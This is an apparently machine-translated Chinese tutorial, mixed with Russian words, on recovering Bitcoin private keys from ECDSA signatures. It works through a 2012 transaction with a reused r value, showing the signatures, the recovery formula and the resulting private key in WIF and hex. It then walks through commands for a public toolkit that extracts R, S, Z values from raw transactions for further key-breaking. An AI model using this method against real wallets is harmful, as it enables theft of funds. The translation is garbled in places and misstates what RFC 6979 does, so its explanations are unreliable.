在本文中,我們將討論從比特幣區塊鏈中提取簽名值 ,但首先,讓我們記住由Niels Schneider (又名 tcatm )ECDSA R, S, Z
發現的區塊鏈交易中的第一個嚴重漏洞 Nils Schneider
比特幣開發商和 “BitcoinWatch” 和 “BitcoinCharts”的所有者。

文檔
[PDF]
:私鑰恢復組合攻擊:在存在不良 RNG 事件的情況下流行的比特幣密鑰管理、錢包和冷存儲解決方案的極端脆弱性
2012 年 12 月 25 日, Nils 發現了一些比特幣區塊鏈交易的潛在弱點。
看看這個交易:
transaction:
9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
該交易有兩個輸入和一個輸出。
如果仔細觀察這兩個輸入腳本,您會注意到在開頭和結尾有相當多的相同字節。
末尾的那些字節是硬幣所花地址的十六進制編碼公鑰,所以這沒有錯。
但是,腳本的前半部分是實際簽名 (r, s)
:
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
正如你所看到的,
r1
它是一樣的r2
。 這是 一個巨大的問題。
我們可以將 私鑰還原 為這個公鑰:
04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
為此,我們可以使用學校代數中的一個簡單公式😉
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
我們只需要找到 z1
並 z2
這些是 хэши
需要簽名的輸出。讓我們獲取輸出交易並對它們進行計數(由 計算 OP_CHECKSIG
):
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
接下來,讓我們將所有這些值打包到一個 Python腳本中: vulnerabilityR.py

p
只是一個數量級 ,是比特幣使用的G
曲線參數 。secp256k1
讓我們為計算創建一個字段:
K = GF(p)
K((z1*s2 - z2*s1)/(r*(s1-s2)))
讓我們運行腳本: python3 vulnerabilityR.py
接下來,我們的腳本: vulnerabilityR.py 將計算 該字段中的私鑰 :
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96

找到私鑰!

當然,比特幣的開發者通過引入確定性函數修復了這個漏洞。
此功能
RFC 6979
在比特幣簽名中引入了隨機性元素,從而增強了交易的加密強度。ECDSA
文檔 [PDF]
:RFC 6979:數字簽名算法 (DSA) 和橢圓曲線數字簽名算法 (ECDSA) 的確定性使用
正如我們在實踐中所知,比特幣區塊鏈中存在完全不同的易受攻擊的交易。
我們之前發布過
статью
: “比特幣區塊鏈上 ECDSA 中的一次弱交易,在 Lattice Attack 的幫助下,我們收到了 BTC 硬幣的私鑰”

現在讓我們從 “RawTX.json”文件 (我們在 01BlockchainGoogleDrive中獲得 )中獲取公鑰 Bitcoin
ECDSA
和價值 R, S, Z
- 為此,請使用 Google Colab 的終端 [ TerminalGoogleColab]
- 早些時候我錄製了一個視頻: “Google Colab 中的 TERMINAL 為在 GITHUB 中工作創造了所有便利”
- 讓我們通過 “CryptoDeepTools”存儲庫 進行詳細的密碼分析,並仔細研究 Bash 腳本的工作原理: getsign.sh
- 團隊:
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/02BreakECDSAcryptography/
sudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
chmod +x getsign.sh
./getsign.sh


因此,讓我們詳細了解一下 Bash 腳本的全部工作: getsign.sh
cat RawTX.json > index.json
將文件複製 RawTX.json
到新文件中 index.json
for run in {1..4}; do
我們打開它是 ЦИКЛ
因為 我們在文件中取了 index.json
4 行{1..4}
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json
該實用程序 export
採用 第 1 行 並將其保存在新文件中 index2.json
sed -i '1d' index.json
該實用程序 從文件中 sed
刪除 第 1 行 index.json

python3 fileopen.py
我們運行 Python 腳本 fileopen.py
並成功創建了一個新的 Bash 腳本: signscript.sh
chmod +x signscript.sh
./signscript.sh
我們獲得了Bash 腳本的權限 :signscript.sh
結果, 啟動了breakECDSA.py Python 腳本 ,最終從中提取了 比特幣的價值 和公鑰。
RawTX
R, S, Z
所有這些都保存到一個文件中:
"signatures.json"

rm signscript.sh
rm fileopen.py
該實用程序 rm
刪除了 Python 腳本 fileopen.py
並成功創建了一個新的 Bash 腳本: signscript.sh
done
結果, 4個週期後一切結束
rm index.json
循環結束,實用程序 rm
刪除 index.json
Bash 腳本: getsign.sh Завершает работу!
現在我們了解到:
Bitcoin
從中獲取公鑰ECDSA
R, S, Z
從中獲取價值ECDSA
- 申請它
криптоанализа
源代碼: https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography
電報: https: //t.me/cryptodeeptech
視頻素材: https: //youtu.be/BYd-cuFRZmM